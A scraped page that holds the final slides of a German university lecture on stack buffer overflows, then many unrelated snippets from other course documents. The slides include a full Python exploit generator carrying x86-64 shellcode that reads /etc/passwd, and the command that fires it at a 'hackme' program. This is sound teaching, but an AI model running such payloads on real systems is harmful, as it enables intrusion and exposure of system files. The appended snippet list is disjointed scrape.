61 Buffer Overflows Shellcode Skript un1k0d3r-payload.py Erläuterungen Das Padding besteht aus einer Folge von As. Die Länge des Paddings und die Rücksprungadresse wird über die Kommandozeile als Parameter übergeben. Die Adresse wird als hexadezimaler String übergeben und in das Little Endian Format konvertiert. Das Ergebnis wird auf der Konsole ausgegeben und kann direkt als Eingabe für andere Programme verwendet werden. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 61 / 73

62 Buffer Overflows Shellcode Berechnen der Länge des Paddings Die Länge des Paddings hängt ab von: Länge des Shellcodes Größe des zu überflutenden Buffers Anzahl und Position der lokalen Variablen im aktuellen Stack Frame Oft kann man die exakte Länge des Paddings nicht berechnen, da die benötigten Informationen nicht bekannt sind. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 62 / 73

63 Buffer Overflows Shellcode Beispiel: Berechnung des Paddings für hackme Im 64-Bit Linux bestehen die Speicheradressen eines Prozesses aus 6 Byte. Unter Einsatz des GDB und des printa Skripts wird die Länge des Strings ermittelt, der die gespeicherte Rücksprungadresse im Stack Frame überschreibt. Die Länge ist 222 Byte. Die Länge des Paddings wird wie folgt berechnet: Padding = 222 Länge Shellcode Länge Adresse = = 134 Da die Adresse von buffer von der Länge des übergebenen Strings abhängt, muss das Skript entsprechend angepasst werden. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 63 / 73

64 Buffer Overflows Shellcode Bemerkungen zu un1k0d3r-payload.py Um den Shellcode erfolgreich auszuführen, müssen die Größe des Paddings und die Rücksprungadresse aufeinander abgestimmt werden. Enthält die Rücksprungadresse ein oder mehrere Null-Bytes, dann ist der Shellcode nicht funktionsfähig. Anpassung des Python Skripts: Einsatz eines NOP-Sleds (Folge von NOP Befehlen) zur flexibleren Wahl der Rücksprungadresse Padding durch wiederholtes Schreiben der Rücksprungadresse Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 64 / 73

65 Buffer Overflows Shellcode Aufbau des erzeugten Datenblocks Der erweiterte Shellcode hat folgenden Aufbau: NOP-Sled Shell Code Adresse Adresse Bemerkung: Die Adresse liegt irgendwo im NOP-Sled. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 65 / 73

66 Buffer Overflows Shellcode Anpassung des Skripts un1k0d3r-payload.py Die Rücksprungadresse wird über die Kommandozeile festgelegt. Dem Shellcode wird eine Folge von NOPs vorangestellt, deren Länge über die Kommandozeile angegeben wird. Die Länge des NOP Sleds wird bei der Berechnung des Paddings berücksichtigt. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 66 / 73

67 Buffer Overflows Shellcode Skript un1k0d3r-payload-v2.py #! /usr/bin/python2 import sys if len(sys.argv)==4: address=sys.argv[1]. decode("hex") address=address[::-1] padding_size = int(sys.argv[2]) nop_size = int (sys.argv[3]) else: print "Usage:", sys.argv[0], "address padding_size nop_size" sys.exit(1) shellcode="\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02" \ + "\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24" \ + "\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f" \ + "\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0" \ + "\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff" \ + "\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" print "\x90" * nop_size + shellcode + "A" * (padding_size -nop_size) \ + address Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 67 / 73

68 Buffer Overflows Shellcode Ausführen des Exploits Annahmen: Länge des Paddings: 134 Byte Adresse von buffer: 7fffffffdd00 Befehl: >./ hackme $(./ un1k0d3r -payload -v2.py 7fffffffdd ) Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 68 / 73

69 Zusammenfassung Zusammenfassung Durch fehlerhafte Programmierung entstehen Schwachstellen in C-Programmen. Ein Klassiker ist die inkorrekte Nutzung von strcpy, um Strings zu kopieren. Über eine derartige Schwachstelle kann ein Buffer Overflow ausgeführt werden, um Schadkode auszuführen. Moderne Betriebssysteme verfügen über zahlreiche Schutzmechanismen gegen Buffer Overflows wie z.b. ASLR. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 69 / 73

70 Literatur Literatur I [Cha16] [GDB13] [Hai13] Ryan A. Chapman. Linux System Call Table for x86_ url: (besucht am ). GDB Developers, Hrsg. GDB: The GNU Debugger. GNU s Not Unix. 26. Nov url: (besucht am ). Marc Haisenko. GDB Cheatsheet url: (besucht am ). Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 70 / 73

71 Literatur Literatur II [Hub+13] [Int17] [Nar07] Jan Hubička u. a. System V Application Binary Interface. AMD64 Architecture Processor Supplement. Intel. 17. Juni url: default/files/article/402129/mpx-linux64-abi.pdf (besucht am ). Intel, Hrsg. Intel 64 and IA-32 Architectures Software Developer Manuals url: content/www/us/en/processors/architecturessoftware-developer-manuals.html (besucht am ). Ram Narayan. Linux assemblers: A comparison of GAS and NASM. IBM. 17. Okt url: http: // (besucht am ). Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 71 / 73

72 Literatur Literatur III [One96] [San97a] [San97b] Aleph One. Smashing The Stack For Fun And Profit. Phrack.org url: (besucht am ). Santa Cruz Operation, Hrsg. System V Application Binary Interface. 18. März url: (besucht am ). Santa Cruz Operation, Hrsg. System V Application Binary Interface Intel836 Architecture Processor Supplement. 19. März url: http: // (besucht am ). Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 72 / 73

73 Literatur Literatur IV [SPS10] [Un114] Richard Stallman, Roland Pesch und Stan Shebs. Debugging with GDB url: current/onlinedocs/gdb.pdf.gz (besucht am ). Mr. Un1K0d3r. 64 Bits Linux Stack Based Buffer Overflow. RingZer0 Team url: (besucht am ). Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 73 / 73

Karlsruher Institut für Technologie

Karlsruher Institut für Technologie Karlsruher Institut für Technologie Lehrstuhl für Programmierparadigmen Sprachtechnologie und Compiler WS 2010/2011 Dozent: Prof. Dr.-Ing. G. Snelting Übungsleiter: Matthias Braun Lösung zu Übungsblatt

Mehr

Übung 1 - Betriebssysteme I

Übung 1 - Betriebssysteme I Prof. Dr. Th. Letschert FB MNI 13. März 2002 Aufgabe 0: Basiswissen Rechnerarchitektur: Übung 1 - Betriebssysteme I Aus welchen Komponenten besteht ein Rechner mit Von-Neumann Architektur? Was sind Bits

Mehr

Übungen zur Vorlesung Systemsicherheit

Übungen zur Vorlesung Systemsicherheit Übungen zur Vorlesung Systemsicherheit Address Space Layout Randomization Tilo Müller, Reinhard Tartler, Michael Gernoth Lehrstuhl Informatik 1 + 4 19. Januar 2011 c (Lehrstuhl Informatik 1 + 4) Übungen

Mehr

Buffer Overflow 1c) Angriffsstring: TTTTTTTTTTTTTTTT (16x) Beachte: Padding GCC-Compiler Zusatz: gcc O2 verhindert hier den Angriff (Code Optimierung)

Buffer Overflow 1c) Angriffsstring: TTTTTTTTTTTTTTTT (16x) Beachte: Padding GCC-Compiler Zusatz: gcc O2 verhindert hier den Angriff (Code Optimierung) Buffer Overflow 1c) 1 char passok='f'; 2 char password[8]; 3 printf( Passwort: ); 4 gets(password); 5 if(!strcmp(password, daspassw )){passok = 'T';} 6 if(passok=='t'){printf( %s, Willkommen! );} 7 else

Mehr

Netzwerksicherheit Musterlösung Übungsblatt 4: Viren

Netzwerksicherheit Musterlösung Übungsblatt 4: Viren Institut für Informatik Alina Barendt und Philipp Hagemeister Netzwerksicherheit Musterlösung Übungsblatt 4: Viren 1 Vorbereitung msg db "Virus" mov ah, 40h mov bx, 1 mov cx, $5 mov dx, msg int 21h ; Write

Mehr

x86 Assembler Praktische Einführung Sebastian Lackner Michael Müller 3. Juni 2013

x86 Assembler Praktische Einführung Sebastian Lackner Michael Müller 3. Juni 2013 x86 Assembler Praktische Einführung Sebastian Lackner Michael Müller 3. Juni 2013 1 / 53 Inhaltsverzeichnis 1 Einführung 2 Assembler Syntax, Register und Flags 3 Hauptspeicher 4 Stack 5 Assemblerbefehle

Mehr

Assembler - Einleitung

Assembler - Einleitung Assembler - Einleitung Dr.-Ing. Volkmar Sieh Department Informatik 3: Rechnerarchitektur Friedrich-Alexander-Universität Erlangen-Nürnberg SS 2008 Assembler - Einleitung 1/19 2008-04-01 Teil 1: Hochsprache

Mehr

Algorithmen und Datenstrukturen (ESE) Entwurf, Analyse und Umsetzung von Algorithmen (IEMS) WS 2012 / 2013. Vorlesung 9, Dienstag 18.

Algorithmen und Datenstrukturen (ESE) Entwurf, Analyse und Umsetzung von Algorithmen (IEMS) WS 2012 / 2013. Vorlesung 9, Dienstag 18. Algorithmen und Datenstrukturen (ESE) Entwurf, Analyse und Umsetzung von Algorithmen (IEMS) WS 2012 / 2013 Vorlesung 9, Dienstag 18. Dezember 2012 (Performance Tuning, Profiling, Maschinencode) Prof. Dr.

Mehr

2. Aufgabenblatt Musterlösung

2. Aufgabenblatt Musterlösung 2. Aufgabenblatt Musterlösung Technische Informatik II Sommersemester 2011 Problem 2: Assembler Syntax Register eines 32-bit Intel-Prozessors: 16 bits 8 bits 8 bits general purpose registers EAX Accumulator

Mehr

Übungspaket 29 Dynamische Speicherverwaltung: malloc() und free()

Übungspaket 29 Dynamische Speicherverwaltung: malloc() und free() Übungspaket 29 Dynamische Speicherverwaltung malloc() und free() Übungsziele Skript In diesem Übungspaket üben wir das dynamische Alloziieren 1. und Freigeben von Speicherbereichen 2. von Zeichenketten

Mehr

Angewandte IT-Sicherheit

Angewandte IT-Sicherheit Angewandte IT-Sicherheit Johannes Stüttgen Lehrstuhl für praktische Informatik I 30.11.2010 Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 1 / 28 Aufgabe 1 Betrachten sie folgendes Programm:

Mehr

Debuggen mit GDB (Gnu DeBugger) unter Eclipse

Debuggen mit GDB (Gnu DeBugger) unter Eclipse Debuggen mit GDB (Gnu DeBugger) unter Eclipse Boris Budweg, 16.11.2009 Version 0.4 Abstract: Kleine Einführung in die Bedienung des GDB über Eclipse und die Möglichkeiten eines Debuggers. Viele Screenshots

Mehr

Einleitung Entwicklung in C Hello-World! Konstrukte in C Zusammenfassung Literatur. Grundlagen von C. Jonas Gresens

Einleitung Entwicklung in C Hello-World! Konstrukte in C Zusammenfassung Literatur. Grundlagen von C. Jonas Gresens Grundlagen von C Jonas Gresens Proseminar C Grundlagen und Konzepte Arbeitsbereich Wissenschaftliches Rechnen Fachbereich Informatik Fakultät für Mathematik, Informatik und Naturwissenschaften Universität

Mehr

Sicheres C Programmieren in Embedded Systemen ARM II (ARM7TMDI [1] ) Wintersemester 2010-2011

Sicheres C Programmieren in Embedded Systemen ARM II (ARM7TMDI [1] ) Wintersemester 2010-2011 Sicheres C in Embedded Systemen ARM II (ARM7TMDI [1] ) Wintersemester 2010-2011 Dipl. Ing. (FH) Ebrecht Roland, Infineon Technologies AG M.Eng (Electronic Systems) Güller Markus, Infineon Technologies

Mehr

Einleitung. Informationsquellen: - Webseite zur Vorlesung, Abschnitt Informationen zu C und C++ Kurzeinführung in C/C++

Einleitung. Informationsquellen: - Webseite zur Vorlesung, Abschnitt Informationen zu C und C++ Kurzeinführung in C/C++ Informationsquellen: - Webseite zur Vorlesung, Abschnitt Informationen zu C und C++ 1 Einleitung Vorteile von Java: gut strukturiert mit hohem Funktionsumfang (mächtige Standardbibliothek) weitestgehend

Mehr

Hardware-Programmierung mit Linux/NASM

Hardware-Programmierung mit Linux/NASM Hardware-Programmierung mit Linux/NASM Daniel Grün 12. Februar 2007 Zusammenfassung Direkte Ansteuerung der Parallel-Schnittstelle mittels NASM unter Linux nur unter Einsatz von reinen Assembler-Routinen

Mehr

Einführung in die Programmiersprache C

Einführung in die Programmiersprache C Einführung in die Programmiersprache C 10 Sicheres Programmieren Alexander Sczyrba Robert Homann Georg Sauthoff Universität Bielefeld, Technische Fakultät Literatur Klein, Buffer Overflows und Format-String-Schwachstellen.

Mehr

System Monitoring mit strace. Systemcall tracing

System Monitoring mit strace. Systemcall tracing System Monitoring mit strace Systemcall tracing 1 Gliederung Einleitung: Was ist strace Grundlagen zu strace Kernel Kernelspace vs. Userspace Systemcalls ptrace Simple strace (Demo) strace die wichtigsten

Mehr

Einführung in die Programmiersprache C

Einführung in die Programmiersprache C Einführung in die Programmiersprache C 10 Sicheres Programmieren Alexander Sczyrba Robert Homann Georg Sauthoff Universität Bielefeld, Technische Fakultät Literatur Klein, Buffer Overflows und Format-String-Schwachstellen.

Mehr

Systemsicherheit (SS 2015) 30. April 2015. Übungsblatt 2. Buffer-Overflow-Angriffe

Systemsicherheit (SS 2015) 30. April 2015. Übungsblatt 2. Buffer-Overflow-Angriffe Peter Amthor, Winfried E. Kühnhauser [email] Department of Computer Science and Automation Distributed Systems and Operating Systems Group Ilmenau University of Technology Systemsicherheit (SS 2015) 30.

Mehr

Computergrundlagen Programmieren in C

Computergrundlagen Programmieren in C Die Compilersprache C Computergrundlagen Programmieren in C Axel Arnold Institut für Computerphysik Universität Stuttgart Wintersemester 2010/11 Geschichte D. M. Ritchie, *1941 1971-73: Entwickelt von

Mehr

Übung zu Grundlagen der Betriebssysteme. 13. Übung 22.01.2012

Übung zu Grundlagen der Betriebssysteme. 13. Übung 22.01.2012 Übung zu Grundlagen der Betriebssysteme 13. Übung 22.01.2012 Aufgabe 1 Fragmentierung Erläutern Sie den Unterschied zwischen interner und externer Fragmentierung! Als interne Fragmentierung oder Verschnitt

Mehr

Aufgabe 1 Entwicklung einer Virtuellen Maschine

Aufgabe 1 Entwicklung einer Virtuellen Maschine Aufgabe 1 Entwicklung einer Virtuellen Maschine Rainer Müller Department Informatik 4 Verteilte Systeme und Betriebssysteme Friedrich-Alexander-Universität Erlangen-Nürnberg WS 2014/2015 R. Müller Entwicklung

Mehr

Grundlagen der Informatik III Wintersemester 2010/ Vorlesung Dr.-Ing. Wolfgang Heenes

Grundlagen der Informatik III Wintersemester 2010/ Vorlesung Dr.-Ing. Wolfgang Heenes Grundlagen der Informatik III Wintersemester 2010/2011 4. Vorlesung Dr.-Ing. Wolfgang Heenes int main() { printf("hello, world!"); return 0; } msg: main:.data.asciiz "Hello, world!".text.globl main la

Mehr

Datenstrukturen, Alignment Stack Prozeduraufruf, Parameterübergabe und -rückgabe (Calling Conventions) Leaf procedures

Datenstrukturen, Alignment Stack Prozeduraufruf, Parameterübergabe und -rückgabe (Calling Conventions) Leaf procedures Vorbesprechung U8 Datenstrukturen, Alignment Stack Prozeduraufruf, Parameterübergabe und -rückgabe (Calling Conventions) Leaf procedures Basistypen Alignment der Basistypen auf deren Grösse Grössen (abhängig

Mehr

Programmiersprachen Einführung in C

Programmiersprachen Einführung in C Programmiersprachen Einführung in C Teil 1: Von der Maschinensprache zu C Prof. Dr. Maschinensprache: MIPS R2000 Was bewirkt folgendes Programm: 00100111101111011111111111100000 10101111101111110000000000010100

Mehr

Übungspaket 19 Programmieren eigener Funktionen

Übungspaket 19 Programmieren eigener Funktionen Übungspaket 19 Programmieren eigener Funktionen Übungsziele: Skript: 1. Implementierung und Kodierung eigener Funktionen 2. Rekapitulation des Stack-Frames 3. Parameterübergabe mittels Stack und Stack-Frame

Mehr

1.7 Assembler Programmierung

1.7 Assembler Programmierung 1.7 Assembler Programmierung Die nach außen sichtbare Programmierschnittstelle eines Prozessors ist der Befehlscode. Dies ist eine binäre Dateninformation, die vom Prozessor Byte für Byte abgearbeitet

Mehr

Linux Prinzipien und Programmierung

Linux Prinzipien und Programmierung Linux Prinzipien und Programmierung Dr. Klaus Höppner Hochschule Darmstadt Sommersemester 2014 1 / 25 2 / 25 Pipes Die Bash kennt drei Standard-Dateideskriptoren: Standard In (stdin) Standard-Eingabe,

Mehr

Grundlagen der Programmentwicklung

Grundlagen der Programmentwicklung Informatik für Elektrotechnik und Informationstechnik Benedict Reuschling benedict.reuschling@h-da.de Hochschule Darmstadt Fachbereich Informatik WS 2013/14 Über C++ Über C++ C++ ist eine in der Industrie

Mehr

2Binden 3. und Bibliotheken

2Binden 3. und Bibliotheken 3 Vom C-Programm zum laufenden Prozess 3.1 Übersetzen - Objektmodule 1Übersetzen 3. - Objektmodule (2) Teil III 3Vom C-Programm zum laufenden Prozess 2. Schritt: Compilieren übersetzt C-Code in Assembler

Mehr

Inhaltsverzeichnis. 1 Einleitung 2

Inhaltsverzeichnis. 1 Einleitung 2 Inhaltsverzeichnis 1 Einleitung 2 2 Installation 3 2.1 Windows............................................. 3 2.1.1 Yasm per Konsole nutzen............................... 3 2.1.2 Integration mit Visual

Mehr

7 Ein einfacher CISC-Prozessor

7 Ein einfacher CISC-Prozessor 7 Ein einfacher CISC-Prozessor In diesem Kapitel wird ein einfacher Prozessor vorgestellt. Die Architektur, die wir implementieren, wurde von R. Bryant und D. O Hallaron entworfen und verwendet eine Untermenge

Mehr

Einführung in die Programmiersprache C

Einführung in die Programmiersprache C Einführung in die Programmiersprache C Marcel Arndt arndt@ins.uni-bonn.de Institut für Numerische Simulation Universität Bonn Der Anfang Ein einfaches Programm, das Hello World! ausgibt: #include

Mehr

PS Kryptographie und IT-Sicherheit. Thema: Software-Sicherheit. Thomas Loch, Michael Streif 2012

PS Kryptographie und IT-Sicherheit. Thema: Software-Sicherheit. Thomas Loch, Michael Streif 2012 PS Kryptographie und IT-Sicherheit Thema: Software-Sicherheit Thomas Loch, Michael Streif 2012 Malicious / Invalid Input Exploits nutzen Nebeneffekte von ungültigen Benutzereingaben aus, die vom Programmierer

Mehr

Hello world. Sebastian Dyroff. 21. September 2009

Hello world. Sebastian Dyroff. 21. September 2009 Hello world Sebastian Dyroff 21. September 2009 1 / 35 Inhaltsverzeichnis Organisatorisches Hello World Typen und Operatoren Programmfluss Weitere Konstrukte Nützliche Tipps 2 / 35 Inhalte dieser Veranstaltung

Mehr

Einführung in die C-Programmierung

Einführung in die C-Programmierung Einführung in die C-Programmierung Warum C? Sehr stark verbreitet (Praxisnähe) Höhere Programmiersprache Objektorientierte Erweiterung: C++ Aber auch hardwarenahe Programmierung möglich (z.b. Mikrokontroller).

Mehr

Übungen zu Softwaresysteme I Jürgen Kleinöder Universität Erlangen-Nürnberg Informatik 4, 2004 E-Uebung3.fm

Übungen zu Softwaresysteme I Jürgen Kleinöder Universität Erlangen-Nürnberg Informatik 4, 2004 E-Uebung3.fm E 3. Übung E 3. Übung Besprechung 1. Aufgabe Aufgabe 3: malloc Debugger gdb E.1 1. Include, Deklarationen #include #include void append_element(int value); int remove_element(void);

Mehr

Matthias Hanreich - TheGreyKnight

Matthias Hanreich - TheGreyKnight Matthias Hanreich - TheGreyKnight Grundlagen Code Injection Beispiel: Buffer Overflow Gegenmaßnahmen Code Injection Return Oriented Programming (ROP) Gegenmaßnahmen ROP Demonstration CVE-2012-4969 Hands

Mehr

Compiler: Vom Code zum Maschinen-Code. C Programmierung - Vorlesung 2 Hochschule Regensburg 19.03.2012 Universitätsstraße 31, 93053 Regensburg

Compiler: Vom Code zum Maschinen-Code. C Programmierung - Vorlesung 2 Hochschule Regensburg 19.03.2012 Universitätsstraße 31, 93053 Regensburg Compiler: Vom Code zum Maschinen-Code C Programmierung - Vorlesung 2 Hochschule Regensburg 19.03.2012 Universitätsstraße 31, 93053 Regensburg Prof. Dr. Jan Dünnweber Zusammenhänge: C und Assembler Hochsprachen

Mehr

PROGRAMMIEREN MIT C. }, wird kompiliert mit dem Befehl. (-o steht für output) und ausgeführt mit dem Befehl

PROGRAMMIEREN MIT C. }, wird kompiliert mit dem Befehl. (-o steht für output) und ausgeführt mit dem Befehl PROGRAMMIEREN MIT C Allgemeine hinweise Alles was hier beschrieben wird, soll auch ausprobiert werden. Warum C? Weil die coolen Dinge mit C am einfachsten gehen. Das werden wir in den folgenden Übungen

Mehr

TECHNISCHE HOCHSCHULE NÜRNBERG GEORG SIMON OHM Die Mikroprogrammebene eines Rechners Das Abarbeiten eines Arbeitszyklus eines einzelnen Befehls besteht selbst wieder aus verschiedenen Schritten, z.b. Befehl

Mehr

GI Vektoren

GI Vektoren Vektoren Problem: Beispiel: viele Variablen vom gleichen Typ abspeichern Text ( = viele char-variablen), Ergebnisse einer Meßreihe ( = viele int-variablen) hierfür: Vektoren ( = Arrays = Feld ) = Ansammlung

Mehr

7.11.2006. int ConcatBuffers(char *buf1, char *buf2, size_t len1, size_t len2) {

7.11.2006. int ConcatBuffers(char *buf1, char *buf2, size_t len1, size_t len2) { Universität Mannheim Lehrstuhl für Praktische Informatik 1 Prof. Dr. Felix C. Freiling Dipl.-Inform. Martin Mink Dipl.-Inform. Thorsten Holz Vorlesung Angewandte IT-Sicherheit Herbstsemester 2006 Übung

Mehr

Vorlesung Informatik II

Vorlesung Informatik II Vorlesung Informatik II Universität Augsburg Wintersemester 2011/2012 Prof. Dr. Bernhard Bauer Folien von: Prof. Dr. Robert Lorenz Lehrprofessur für Informatik 02. JAVA: Erstes Programm 1 Das erste Java-Programm

Mehr

Hinweise 80x86-Architektur

Hinweise 80x86-Architektur Hinweise 80x86-Architektur Rainer Müller Department Informatik 4 Verteilte Systeme und Betriebssysteme Friedrich-Alexander-Universität Erlangen-Nürnberg WS 2014/2015 R. Müller Hinweise 80x86-Architektur

Mehr

GCC 3.x Stack Layout. Auswirkungen auf Stack-basierte Exploit-Techniken. Tobias Klein, 2003 tk@trapkit.de Version 1.0

GCC 3.x Stack Layout. Auswirkungen auf Stack-basierte Exploit-Techniken. Tobias Klein, 2003 tk@trapkit.de Version 1.0 1 GCC 3.x Stack Layout Auswirkungen auf Stack-basierte Exploit-Techniken Tobias Klein, 2003 tk@trapkit.de Version 1.0 2 Abstract Eine spezielle Eigenschaft des GNU C Compilers (GCC) der Version 3.x wirkt

Mehr

Programmierung mit C Zeiger

Programmierung mit C Zeiger Programmierung mit C Zeiger Zeiger (Pointer)... ist eine Variable, die die Adresse eines Speicherbereichs enthält. Der Speicherbereich kann... kann den Wert einer Variablen enthalten oder... dynamisch

Mehr

Betriebssysteme Übung 2. Tutorium System Calls & Multiprogramming

Betriebssysteme Übung 2. Tutorium System Calls & Multiprogramming Betriebssysteme Übung 2. Tutorium System Calls & Multiprogramming Task Wiederholung 1 System SysCalls (1) Wozu? Sicherheit Stabilität Erfordert verschiedene modes of execution: user mode privileged mode

Mehr

IT- Handbuch für Fachinformatiker, 7. Auflage: Text- Lösungen Sascha Kersken

IT- Handbuch für Fachinformatiker, 7. Auflage: Text- Lösungen Sascha Kersken IT- Handbuch für Fachinformatiker, 7. Auflage: Text- Lösungen Sascha Kersken Im Folgenden finden Sie jeweils die korrekte Antwort zu den im Buch abgedruckten Prüfungsfragen, soweit die Antworten in Textform

Mehr

6 Speicherorganisation

6 Speicherorganisation Der Speicher des Programms ist in verschiedene Speicherbereiche untergliedert Speicherbereiche, die den eigentlichen Programmcode und den Code der Laufzeitbibliothek enthalten; einen Speicherbereich für

Mehr

Einführung in die Programmierung 1

Einführung in die Programmierung 1 Einführung in die Programmierung 1 Einführung (S.2) Einrichten von Eclipse (S.4) Mein Erstes Programm (S.5) Hallo Welt!? Programm Der Mensch (S.11) Klassen (S.12) Einführung Wie Funktioniert Code? Geschriebener

Mehr

Dynamische Speicherverwaltung

Dynamische Speicherverwaltung Dynamische Speicherverwaltung Tim Dobert 17.05.2013 Inhaltsverzeichnis 1 Allgemeines zur Speichernutzung 2 2 Ziel und Nutzen 2 3 Anwendung in C 2 3.1 malloc............................... 3 3.2 calloc...............................

Mehr

Rechnern netze und Organisatio on

Rechnern netze und Organisatio on Rechnernetze und Organisation Konstruktionsübung SS2009 Vorbesprechung 1 Übersicht Einleitung Motivation Administratives i ti Generelles zur KU Assignment A1 Vorbereitung Johannes Wolkerstorfer Vorstellung

Mehr

Übersicht. Race Conditions Buffer Overflows Heap Overflows Exkurs: Stackaufbau bei Intel x86 Exkurs: Shellcode Stack Overflows

Übersicht. Race Conditions Buffer Overflows Heap Overflows Exkurs: Stackaufbau bei Intel x86 Exkurs: Shellcode Stack Overflows Übersicht Race Conditions Buffer Overflows Heap Overflows Exkurs: Stackaufbau bei Intel x86 Exkurs: Shellcode Stack Overflows Integer Overflows Format-String-Angriffe (SQL) Injection Cross Site Scripting

Mehr

Lösungsvorschlag zur 9. Übung

Lösungsvorschlag zur 9. Übung Prof. Frederik Armknecht Sascha Müller Daniel Mäurer Grundlagen der Informatik 3 Wintersemester 09/10 Lösungsvorschlag zur 9. Übung 1 Präsenzübungen 1.1 Schnelltest a) Welche der folgenden Aussagen über

Mehr

Informatik. Studiengang Chemische Technologie. Michael Roth WS 2012/2013. michael.roth@h-da.de. Hochschule Darmstadt -Fachbereich Informatik-

Informatik. Studiengang Chemische Technologie. Michael Roth WS 2012/2013. michael.roth@h-da.de. Hochschule Darmstadt -Fachbereich Informatik- Informatik Studiengang Chemische Technologie Michael Roth michael.roth@h-da.de Hochschule Darmstadt -Fachbereich Informatik- WS 2012/2013 Inhalt Teil VII Einstieg in Java I Michael Roth (h_da) Informatik

Mehr

Felder (1) Allgemeines

Felder (1) Allgemeines Felder (1) Allgemeines Gleichartige Daten, wie Tabelle von Zahlen, Datumswerten, Namen etc. Felder (engl. Array) stellen einen Verbundtyp dar, in dem mehrere Daten desselben Typs gespeichert werden Oft

Mehr

Linker: Adreßräume verknüpfen. Informationen über einen Prozeß. Prozeß-Erzeugung: Verwandtschaft

Linker: Adreßräume verknüpfen. Informationen über einen Prozeß. Prozeß-Erzeugung: Verwandtschaft Prozeß: drei häufigste Zustände Prozeß: anatomische Betrachtung jeder Prozeß verfügt über seinen eigenen Adreßraum Sourcecode enthält Anweisungen und Variablen Compiler überträgt in Assembler bzw. Binärcode

Mehr

Fachhochschule Wiesbaden - Fachbereich DCSM. Skriptsprachen. Moderne, objekt-orientierte Skriptsprachen mit Betonung auf Ruby

Fachhochschule Wiesbaden - Fachbereich DCSM. Skriptsprachen. Moderne, objekt-orientierte Skriptsprachen mit Betonung auf Ruby Fachhochschule Wiesbaden - Fachbereich DCSM Skriptsprachen Moderne, objekt-orientierte Skriptsprachen mit Betonung auf Ruby 16.10.2008 2003, 2008 H. Werntges, FB Design Informatik Medien (DCSM), FH Wiesbaden

Mehr

J.5 Die Java Virtual Machine

J.5 Die Java Virtual Machine Java Virtual Machine Die Java Virtual Machine 22 Prof. Dr. Rainer Manthey Informatik II Java-Compiler und Java Virtual Machine Quellcode-Datei class C... javac D.java Java-Compiler - Dateien class class

Mehr

Programmiersprachen Einführung in C. Unser erstes C-Programm. Unser erstes C-Programm. Unser erstes C-Programm. Unser erstes C-Programm

Programmiersprachen Einführung in C. Unser erstes C-Programm. Unser erstes C-Programm. Unser erstes C-Programm. Unser erstes C-Programm Programmiersprachen Einführung in C Teil 2: Prof. Dr. int main (int argc, char *argv[]) int sum = 0; for (i = 0; i

Mehr

Aufbau & Analyse von Industrie-Netzwerken

Aufbau & Analyse von Industrie-Netzwerken Aufbau & Analyse von Industrie-Netzwerken Lerneinheit 1: Arbeiten mit Wireshark Prof. Dr. Christoph Karg Studiengang Informatik Hochschule Aalen Sommersemester 2016 13.4.2016 Gliederung Übersicht Diese

Mehr

Grundlagen der Informatik III Wintersemester 2010/2011

Grundlagen der Informatik III Wintersemester 2010/2011 Grundlagen der Informatik III Wintersemester 2010/2011 Wolfgang Heenes, Patrik Schmittat 2. Aufgabenblatt mit Lösungsvorschlag 08.11.2010 Hinweis: Der Schnelltest und die Aufgaben sollen in den Übungsgruppen

Mehr

Übungen zur Vorlesung EidP (WS 2015/16) Blatt 6

Übungen zur Vorlesung EidP (WS 2015/16) Blatt 6 Andre Droschinsky Ingo Schulz Dortmund, den 0. Dezember 2015 Übungen zur Vorlesung EidP (WS 2015/16) Blatt 6 Block rot Es können 4 + 1 Punkte erreicht werden. Abgabedatum: 10. Dezember 2015 2:59 Uhr Hinweise

Mehr

Embedded-Linux-Seminare. Toolchains

Embedded-Linux-Seminare. Toolchains Embedded-Linux-Seminare Toolchains http://www.embedded-linux-seminare.de Diplom-Physiker Peter Börner Spandauer Weg 4 37085 Göttingen Tel.: 0551-7703465 Mail: info@embedded-linux-seminare.de Kopier-Rechte

Mehr

Objektorientiertes Programmieren für Ingenieure

Objektorientiertes Programmieren für Ingenieure Uwe Probst Objektorientiertes Programmieren für Ingenieure Anwendungen und Beispiele in C++ 18 2 Von C zu C++ 2.2.2 Referenzen und Funktionen Referenzen als Funktionsparameter Liefert eine Funktion einen

Mehr

Einige Grundlagen zu OpenMP

Einige Grundlagen zu OpenMP Einige Grundlagen zu OpenMP Stephanie Friedhoff, Martin Lanser Mathematisches Institut Universität zu Köln 22. Juni 2016 Überblick Was ist OpenMP? Basics Das OpenMP fork-join-modell Kompilieren und Ausführen

Mehr

Technische Informatik 1 - Übung 3 3. & 4. November Philipp Miedl

Technische Informatik 1 - Übung 3 3. & 4. November Philipp Miedl Technische Informatik 1 - Übung 3 3. & 4. November 2016 Philipp Miedl Philipp Miedl 3. 11. 2016 1 Ziele der Übungen Aufgabe 1 Philipp Miedl 3. 11. 2016 2 Ziele der Übungen Aufgabe 1 Aufbau von Objekt-Dateien

Mehr

Embedded-Linux-Seminare. Linux als Betriebssystem

Embedded-Linux-Seminare. Linux als Betriebssystem Embedded-Linux-Seminare Linux als Betriebssystem http://www.embedded-linux-seminare.de Diplom-Physiker Peter Börner Spandauer Weg 4 37085 Göttingen Tel.: 0551-7703465 Mail: info@embedded-linux-seminare.de

Mehr

